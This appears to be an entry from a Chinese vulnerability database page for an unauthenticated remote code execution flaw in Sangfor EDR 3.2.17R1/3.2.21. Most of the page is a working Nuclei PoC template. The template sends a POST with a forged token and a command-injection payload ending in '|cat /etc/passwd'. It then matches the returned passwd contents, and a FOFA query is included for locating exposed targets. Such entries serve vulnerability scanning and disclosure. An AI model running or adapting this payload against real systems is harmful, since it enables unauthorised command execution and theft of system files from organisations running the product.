sangfor-edr-rce: Sangfor EDR 3.2.17R1/3.2.21 - Remote Code Execution

日期: 2025-08-01 | 影响软件: Sangfor EDR | POC: 已公开

漏洞描述

Sangfor EDR 3.2.17R1/3.2.21 allows remote unauthenticated users to to execute arbitrary commands.

PoC代码[已公开]

id: sangfor-edr-rce

info:
  name: Sangfor EDR 3.2.17R1/3.2.21 - Remote Code Execution
  author: pikpikcu
  severity: critical
  description: Sangfor EDR 3.2.17R1/3.2.21 allows remote unauthenticated users to to execute arbitrary commands.
  reference:
    - https://www.cnblogs.com/0day-li/p/13650452.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-77
  metadata:
    max-request: 1
    fofa-query: app="sangfor"
  tags: rce,sangfor,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/api/edr/sangforinter/v2/cssp/slog_client?token=eyJtZDUiOnRydWV9"

    headers:
      Content-Type: application/x-www-form-urlencoded

    body: |
      {"params":"w=123\"'1234123'\"|cat /etc/passwd"}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a00463044022065ceb19f7a6c44111d689d34f9df6427d1a6d9114bcc60a65d326bc5991077010220102258482fe52837d2ec68c0a103f6dda16fdc056f396de10213e88553a6de10:922c64590222798bb761d5b6d8e72950

相关漏洞推荐